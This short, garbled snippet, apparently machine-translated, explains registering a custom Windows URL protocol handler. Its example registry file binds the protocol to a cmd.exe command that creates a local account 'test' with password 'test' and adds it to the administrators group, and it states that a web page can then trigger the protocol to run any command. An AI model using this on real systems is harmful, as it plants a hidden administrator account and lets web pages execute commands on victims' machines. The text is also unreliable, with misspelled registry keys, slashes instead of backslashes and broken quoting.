Where there / heky_classes_root / myprotocol / "url protocol" == reg_sz: "key value, this MyProtocol is registered as a system protocol
[Hkey_classes_root / my / shell / open / command]
@ = "Mycmd.exe /"% 1 / ""
MyProtol: // location is called when calling:
Mycmd.exe myprotocol: // location
You can register a protocol first:
Windows Registry Editor Version 5.00
[HKEY_CLASS_ROOT / MY]
@ = "My Protocol"
"URL protocol" = ""
[Hkey_classes_root / my / shell / open / command]
@ = "cmd.exe / c net user test test / add & net localgroup administrators test / add"
Then call this protocol to perform any command on the web page.